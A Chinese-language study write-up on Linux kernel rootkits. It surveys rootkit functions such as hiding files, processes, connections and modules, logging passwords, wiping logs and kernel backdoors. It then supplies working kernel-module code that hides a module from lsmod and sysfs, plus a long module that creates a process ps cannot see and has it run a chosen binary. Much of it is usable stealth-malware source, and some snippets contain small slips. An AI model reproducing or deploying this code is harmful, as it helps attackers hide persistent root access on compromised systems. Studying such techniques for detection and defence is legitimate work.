Rootkit学习
Rootkit介绍:
Rootkits是linux/unix获取root权限之后使得攻击者可以隐藏自己的踪迹和保留root访问权限的神器,通常攻击者使用 rootkit的检查系统查看是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息,通过rootkit的嗅探器还可以获得其他系统的用户和密码
Intel的x86处理器是通过Ring级别来进行访问控制的,级别共分4层,从Ring0到Ring3(后面简称R0、R1、R2、R3)。R0层拥有最高的权限,R3层拥有最低的权限。按照Intel原有的构想,应用程序工作在R3层,只能访问R3层的数据;操作系统工作在R0层,可以访问所有层的数据;而其他驱动程序位于R1、R2层,每一层只能访问本层以及权限更低层的数据。 这应该是很好的设计,这样操作系统工作在最核心层,没有其他代码可以修改它;其他驱动程序工作在R1、R2层,有要求则向R0层调用,这样可以有效保障操作系统的安全性。但现在的OS,包括Windows和Linux都没有采用4层权限,而只是使用2层——R0层和R3层,分别来存放操作系统数据和应用程序数据,从而导致一旦驱动加载了,就运行在R0层,就拥有了和操作系统同样的权限,可以做任何事情,而所谓的rootkit也就随之而生了。实际上,所有的内核代码都拥有根权限,当然,并不一定它们都叫做rootkit,这要看你用它来做什么。R3层的rootkit通过文件完整性检测较容易发现
R0层拥有最高的权限,R3层拥有最低的权限。按照Intel原有的构想,应用程序工作在R3层,只能访问R3层的数据;操作系统工作在R0层,可以访问所有层的数据;而其他驱动程序位于R1、R2层
rootkit的常见功能:
隐藏文件:通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的,因此可以通过修改sys_getdents64系统调用或者更底层的 readdir实现隐藏文件及目录,还有对ext2文件系统直接进行修改的方法,不过实现起来不够方便,也有一些具体的限制。
隐藏进程:隐藏进程的方法和隐藏文件类似,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果,即hook sys_getdents64和readdir等。
隐藏连接:netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。
隐藏模块:lsmod命令主要是通过sys_query_module系统调用获得模块信息,可以通过hook sys_query_module系统调用隐藏模块,也可以通过将模块从内核模块链表中摘除从而达到隐藏效果。
嗅探工具:嗅探工具可以通过libpcap库直接访问链路层,截获数据包,也可以通过linux的netfilter框架在IP层的hook点上截获数据包。嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式,这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的,查看网卡的当前模式是通过SIOCGIFFLAGS命令,因此可以通过hook sys_ioctl隐藏网卡的混杂模式。
密码记录:密码记录可以通过hook sys_read系统调用实现,比如通过判断当前运行的进程名或者当前终端是否关闭回显,可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能。
日志擦除:传统的unix日志主要在/var/log/messages,/var/log/lastlog,/var/run/utmp,/var /log/wtmp下,可以通过编写相应的工具对日志文件进行修改,还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息。
内核后门:可以是本地的提权后门和网络的监听后门,本地的提权可以通过对内核模块发送定制命令实现,网络内核后门可以在IP层对进入主机的数据包进行监听,发现匹配的指定数据包后立刻启动回连进程。
rootkit的主要技术:
lkm注射:也是一种隐藏内核模块的方法,通过感染系统的lkm,在不影响原有功能的情况下将rootkit模块链接到系统lkm中,在模块运行时获得控制权,初始化后调用系统lkm的初始化函数,lkm注射涉及到elf文件格式与模块加载机制。
模块摘除:主要是指将模块从模块链表中摘除从而隐藏模块的方法,最新加载的模块总是在模块链表的表头,因此可以在加载完rootkit模块后再加载一个清除模块将rootkit模块信息从链表中删除,再退出清除模块,新版本内核中也可以通过判断模块信息后直接list_del。
拦截中断:主要通过sidt指令获得中断调用表的地址,进而获取中断处理程序的入口地址,修改对应的中断处理程序,如int 0x80,int 0x1等。其中拦截int 0x1是较新的技术,主要利用系统的调试机制,通过设置DR寄存器在要拦截的内存地址上下断点,从而在执行到指定指令时转入0x1中断的处理程序,通过修改0x1中断的处理程序即可实现想要的功能。
劫持系统调用:和拦截中断类似,但主要是对系统调用表进行修改,可以直接替换原系统调用表,也可以修改系统调用表的入口地址。在2.4内核之前,内核的系统调用表地址是导出的,因此可以直接对其进行修改。但在2.6内核之后,系统调用表的地址已经不再导出,需要对0x80中断处理程序进行分析从而获取系统调用表的地址。
运行时补丁:字符设备驱动程序和块设备驱动程序在加载时都会向系统注册一个Struct file_operations结构实现指定的read、write等操作,文件系统也是如此,通过修改文件系统的file_operations结构,可以实现新的read、write操作等。
inline hook:主要是指对内存中的内核函数直接修改,而不影响原先的功能,可以采用跳转的办法,也可以修改对下层函数的call offset实现。
端口反弹:主要是为了更好的突破防火墙的限制,可以在客户端上监听80端口,而在服务器端通过对客户端的80端口进行回连,伪装成一个访问web服务的正常进程从而突破防火墙的限制。
LKM的编码学习(隐藏模块)
正常的ko文件
#include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> static int hello_init(void) { printk("Hello world.\n"); return 0; } static void hello_exit(void) { printk("Goodbye world.\n"); return; } module_init(hello_init); module_exit(hello_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("fly");
1 obj-m:=helloworld.o 2 KDIR:=/lib/modules/5.4.0-21-generic/build 3 MAKE:=make 4 default: 5 $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 6 clean: 7 rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
如何改成隐藏模块
1)隐藏打印信息
在LKM中,是无法依赖于我们平时使用的C库的,模块仅仅被链接到内核,只可以调用内核所导出的函数,不存在可链接的函数库。这是内核编程与我们平时应用程序编程的不同之一。printk()函数将内容纪录在系统日志文件里,当然我们也可以用printk()将信息输出至控制台
2)从lsmod命令中隐藏我们的模块
对于rootkit来说,隐蔽性是非常重要的,一个lsmod命令就可以让我们的lkm遁形,这显然谈不上隐蔽。对于dmesg命令,我们只要删除掉printk()函数就好,这个函数所起的仅仅是示范作用。但是如何让lsmod命令无法显示我们的模块呢?
lsmod解释: lsmod命令是通过/proc/modules来获取当前系统模块信息的。而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、
从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时,
模块便与一个 struct module结构体相关联,并成为内核的一部分,所有的内核模块都被维护在一个全局链表中,链表头是一个全局变量struct module *modules。任何一个新创建的模块,
都会被加入到这个链表的头部,通过modules->next即可引用到
为了让我们的模块在lsmod命令中的输出里消失掉,我们需要在这个链表内删除我们的模块:
list_del_init(&__this_module.list);
将"list_del_init(&__this_module.list);"加入到我们的初始化函数中,保存,编译,装载模块,再lsmod
3)从sysfs中隐藏我们的模块
除了lsmod命令和相对应的查看/proc/modules以外,我们还可以在sysfs中,也就是通过查看/sys/module/目录来发现现有的模块
解决方案:
kobject_del(&THIS_MODULE->mkobj.kobj);
kobj是一个struct kobject结构体,而kobject是组成设备模型的基本结构。这时我们又要简单介绍下sysfs这个概念,sysfs是一种基于ram的文件系统,它提供了一种用于向用户空间展现内核空间里的对象、
属性和链接的方法。sysfs与kobject层次紧密相连,它将kobject层次关系表现出来,使得用户空间可以看见这些层次关系。通常,sysfs是挂在在/sys目录下的,而/sys/module是一个sysfs的一个目录层次,
包含当前加载模块的信息. 我们通过kobject_del()函数删除我们当前模块的kobject就可以起到在/sys/module中隐藏lkm的作用。
隐形进程编码学习(隐藏进程)
目标:
ps 查看不到进程
1)将task从tasks链表摘除
2)将task从pid链表摘除
设计思想:
我们都知道每个进程都有一个task_struct存放进程信息,task_struct是从kmem cache中分配的,而kmem cache是slab统一管理的,将task从各类链表摘除让该task脱离管制,task所属的链表可以随意摘除,但是task出生的场所却不可改变,
1、kmem_cache_alloc_node的作用 通过这段代码可以看出,它调用了kmem_cache_alloc_node函数,在task_struct的缓存区域task_struct分配了一块内存 static struct kmem_cache *task_struct_cachep; task_struct_cachep = kmem_cache_create("task_struct", arch_task_struct_size, align, SLAB_PANIC|SLAB_NOTRACK|SLAB_ACCOUNT, NULL); static inline struct task_struct *alloc_task_struct_node(int node) { return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node); } static inline void free_task_struct(struct task_struct *tsk) { kmem_cache_free(task_struct_cachep, tsk); } 1、在系统初始化的时候,task_struct_cachep 会被 kmem_cache_create 函数创建。 2、这个函数也比较容易看懂、专门用于分配 task_struct 对象的缓存。这个缓存区的名字就叫 task_struct。 3、缓存区中每一块的大小正好等于 task_struct 的大小,也即 arch_task_struct_size。 1、kmem_cache_alloc_node函数的作用? 1、有了这个缓存区,每次创建task_struct的时候,我们就不用到内存里面去分配,先在缓存里面看看有没有直接可用的,这就是kmem_cache_alloc_node的作用 2、kmem_cache_free的作用 当一个进程结束,task_struct 也不用直接被销毁,而是放回到缓存中,这就是kmem_cache_free的作用, 这样,新进程创建的时候,我们就可以直接用现成的缓存中的task_struct了 2、缓存区struct kmem_cache到底是什么样子 struct kmem_cache { struct kmem_cache_cpu __percpu *cpu_slab; /* Used for retriving partial slabs etc */ unsigned long flags; unsigned long min_partial; int size; /* The size of an object including meta data */ int object_size; /* The size of an object without meta data */ int offset; /* Free pointer offset. */ #ifdef CONFIG_SLUB_CPU_PARTIAL int cpu_partial; /* Number of per cpu partial objects to keep around */ #endif struct kmem_cache_order_objects oo; /* Allocation and freeing of slabs */ struct kmem_cache_order_objects max; struct kmem_cache_order_objects min; gfp_t allocflags; /* gfp flags to use on each alloc */ int refcount; /* Refcount for slab cache destroy */ void (*ctor)(void *); ...... const char *name; /* Name (only for display!) */ struct list_head list; /* List of slab caches */ ...... struct kmem_cache_node *node[MAX_NUMNODES]; };
3、LIST_HEAD 1、在 struct kemem_cache里面,有个变量struct list_head list,这个结构我们已经看到过多次了 2、我们可以想象一下,对于操作系统来讲,要创建和管理的缓存绝对不止task_struct,难道mm_struct就不需要吗? 3、fs_struct就不需要吗?都需要,因此所有的缓存最后都会放在一个链表里面这就是LIST_HEAD(slab_caches)
所以创建通过task_struct_cachep来进行, 如果创建一个不被察觉的进程就不能走正常流程
自己创建进程
base = kmalloc(2048*3, GFP_KERNEL); tsk = (struct task_struct *)(base + 157);
malloc slab是一个公用的slab池,满足一些常见大小的私有内存的分配需求,但是它也是受slab管理,还是有风险,如果想让task的创建彻底脱离slab的管理,那不妨试试下面的:
bash = page_address(__alloc_pages(...)); tsk = (struct task_struct *)(base + 157);
下面步骤:
- 照着copy_process的实现进行最小化代码复制。
- 不要复制copy_process的pid管理部分,改为LIST_INIT。
- 不要复制copy_process的链表管理部分,改为HLIST_INIT。
- 所有的深拷贝对象尽量用__alloc_pages,至少用kmalloc-2x+来分配。
- 剩余的空闲内存填充task字段的显著特征值,以混淆视听。
- 实在嫌麻烦,那就照抄用kmem_cache_alloc,但会增加被经理抓的风险。
- 设置内核线程,并在内核线程中调用do_execve到用户态可执行文件。
- wake up新进程。
- 新进程尽量不要退出,因为kmem cache不会收容它的尸体
源码:
1 #include <linux/module.h> 2 #include <linux/cred.h> 3 #include <linux/slab.h> 4 #include <linux/kallsyms.h> 5 #include <linux/nsproxy.h> 6 #include <linux/pid_namespace.h> 7 #include <linux/random.h> 8 #include <linux/fdtable.h> 9 #include <linux/cgroup.h> 10 #include <linux/sched.h> 11 12 int (*_run_process)(struct filename *file, char **, char **); 13 struct filename * (*_getname_kernel)(char *name); 14 15 int test_stub2(void) 16 { 17 printk("stub pid: %d at %p\n", current->pid, current); 18 if (_run_process) { 19 int r =_run_process(_getname_kernel("/root/run"), NULL, NULL); 20 printk("result:%d\n", r); 21 } 22 current->parent = current; 23 current->real_parent = current; 24 // kernel thread要返回用户态,才能达到exec到新task的效果。 25 // 但是记住,exit的时候,直接schedule掉即可,记住把它的parent设置成它自己。 26 // 否则,其parent会wait并尝试free掉隐藏task,这会导致内存状态异常。 27 return 0; 28 } 29 30 int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *); 31 int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *); 32 void (*_wake_up_new_task)(struct task_struct *); 33 void (*_sched_fork)(unsigned long, struct task_struct *); 34 struct fs_struct * (*_copy_fs_struct)(struct fs_struct *); 35 struct files_struct * (*_dup_fd)(struct files_struct *, int *); 36 struct pid * (*_alloc_pid)(struct pid_namespace *ns); 37 enum hrtimer_restart (*_it_real_fn)(struct hrtimer *timer); 38 39 static int __init private_proc_init(void) 40 { 41 unsigned char *base; 42 struct task_struct *tsk; 43 struct thread_info *ti; 44 struct task_struct *orig = current; 45 unsigned long *stackend; 46 struct pid_link *link; 47 struct hlist_node *node; 48 struct sighand_struct *sig; 49 struct signal_struct *sign; 50 struct cred *new; 51 struct pid *pid = NULL; 52 int type, err = 0; 53 54 _arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct"); 55 _sched_fork = (void *)kallsyms_lookup_name("sched_fork"); 56 _copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct"); 57 _dup_fd = (void *)kallsyms_lookup_name("dup_fd"); 58 _run_process = (void *)kallsyms_lookup_name("do_execve"); 59 _getname_kernel = (void *)kallsyms_lookup_name("getname_kernel"); 60 _it_real_fn = (void *)kallsyms_lookup_name("it_real_fn"); 61 _alloc_pid = (void *)kallsyms_lookup_name("alloc_pid"); 62 _copy_thread = (void *)kallsyms_lookup_name("copy_thread"); 63 _wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task"); 64 65 base = (unsigned char *)kmalloc(4096, GFP_KERNEL); 66 tsk = (struct task_struct *)(base + 157); 67 _arch_dup_task_struct(tsk, orig); 68 base = (unsigned char *)kmalloc(sizeof(struct thread_info) + 17, GFP_KERNEL); 69 ti = (struct thread_info *)(base); 70 tsk->stack = ti; 71 *task_thread_info(tsk) = *task_thread_info(orig); 72 task_thread_info(tsk)->task = tsk; 73 stackend = end_of_stack(tsk); 74 *stackend = 0x57AC6E9D; 75 tsk->stack_canary = get_random_int(); 76 77 clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY); 78 clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED ); 79 // 避免wait释放kmalloc的内存到特定slab,引用计数设置为2 80 atomic_set(&tsk->usage, 2); 81 tsk->splice_pipe = NULL; 82 tsk->task_frag.page = NULL; 83 memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat)); 84 85 raw_spin_lock_init(&tsk->pi_lock); 86 plist_head_init(&tsk->pi_waiters); 87 tsk->pi_blocked_on = NULL; 88 89 rcu_copy_process(tsk); 90 tsk->vfork_done = NULL; 91 spin_lock_init(&tsk->alloc_lock); 92 init_sigpending(&tsk->pending); 93 94 seqlock_init(&tsk->vtime_seqlock); 95 tsk->audit_context = NULL; 96 97 _sched_fork(0, tsk); 98 99 tsk->mm = NULL; 100 tsk->active_mm = NULL; 101 memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp)); 102 mutex_init(&tsk->perf_event_mutex); 103 INIT_LIST_HEAD(&tsk->perf_event_list); 104 105 new = prepare_creds(); 106 if (new->thread_keyring) { 107 key_put(new->thread_keyring); 108 new->thread_keyring = NULL; 109 } 110 key_put(new->process_keyring); 111 new->process_keyring = NULL; 112 atomic_inc(&new->user->processes); 113 tsk->cred = tsk->real_cred = get_cred(new); 114 validate_creds(new); 115 116 tsk->fs = _copy_fs_struct(current->fs); 117 tsk->files = _dup_fd(current->files, &err); 118 base = kmalloc(sizeof(struct sighand_struct) + 13, GFP_KERNEL); 119 // 奇数地址 120 sig = (struct sighand_struct *)(base + 3); 121 // 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2 122 atomic_set(&sig->count, 2); 123 memcpy(sig->action, current->sighand->action, sizeof(sig->action)); 124 125 base = kmalloc(sizeof(struct signal_struct) + 15, GFP_KERNEL); 126 sign = (struct signal_struct *)(base + 7); 127 sign->nr_threads = 1; 128 // 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2 129 atomic_set(&sign->live, 2); 130 atomic_set(&sign->sigcnt, 2); 131 sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node); 132 tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head); 133 init_waitqueue_head(&sign->wait_chldexit); 134 sign->curr_target = tsk; 135 init_sigpending(&sign->shared_pending); 136 INIT_LIST_HEAD(&sign->posix_timers); 137 seqlock_init(&sign->stats_lock); 138 memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim); 139 140 tsk->cgroups = current->cgroups; 141 atomic_inc(&tsk->cgroups->refcount); 142 INIT_LIST_HEAD(&tsk->cg_list); 143 144 // 设置堆栈以及入口 145 tsk->flags |= PF_KTHREAD; 146 // 我们用一个kernel thread stub来exec到用户态的binary。 147 _copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk); 148 tsk->clear_child_tid = NULL; 149 tsk->set_child_tid = NULL; 150 151 // 伪造身份证明 152 pid = kmalloc(sizeof(struct pid), GFP_KERNEL); 153 pid->level = current->nsproxy->pid_ns->level; 154 pid->numbers[0].nr = 0xffff; 155 pid->numbers[0].ns = current->nsproxy->pid_ns; 156 for (type = 0; type < PIDTYPE_MAX; ++type) 157 INIT_HLIST_HEAD(&pid->tasks[type]); 158 atomic_set(&pid->count, 2); 159 160 // 进程管理结构自吞尾 161 INIT_LIST_HEAD(&tsk->ptrace_entry); 162 INIT_LIST_HEAD(&tsk->ptraced); 163 atomic_set(&tsk->ptrace_bp_refcnt, 1); 164 tsk->jobctl = 0; 165 tsk->ptrace = 0; 166 tsk->pi_state_cache = NULL; 167 tsk->group_leader = tsk; 168 INIT_LIST_HEAD(&tsk->thread_group); 169 tsk->pid = pid_nr(pid); 170 INIT_LIST_HEAD(&tsk->pi_state_list); 171 INIT_LIST_HEAD(&tsk->tasks); 172 INIT_LIST_HEAD(&tsk->children); 173 INIT_LIST_HEAD(&tsk->sibling); 174 175 // 进程组织自吞尾 176 tsk->pids[PIDTYPE_PID].pid = pid; 177 link = &tsk->pids[PIDTYPE_PID]; 178 node = &link->node; 179 INIT_HLIST_NODE(node); 180 node->pprev = &node; 181 182 // 来吧! 183 _wake_up_new_task(tsk); 184 185 return -1; // oneshot,并非真正加载模块 186 } 187 188 static void __exit private_proc_exit(void) 189 { 190 } 191 192 module_init(private_proc_init); 193 module_exit(private_proc_exit); 194 MODULE_LICENSE("GPL");
测试程序:
1 #include <fcntl.h> 2 int main(int argc, char **argv) 3 { 4 int fd = open("/dev/pts/0", O_RDWR); 5 while (1) { 6 write(fd, "test\n", 10); 7 sleep(1); 8 } 9 }
参考文献:
Linux系统创建系统侦测不到的隐形进程(Rootkit技术必备)
https://www.freebuf.com/articles/system/54263.html
https://github.com/ivyl/rootkit
https://www.freebuf.com/articles/network/23665.html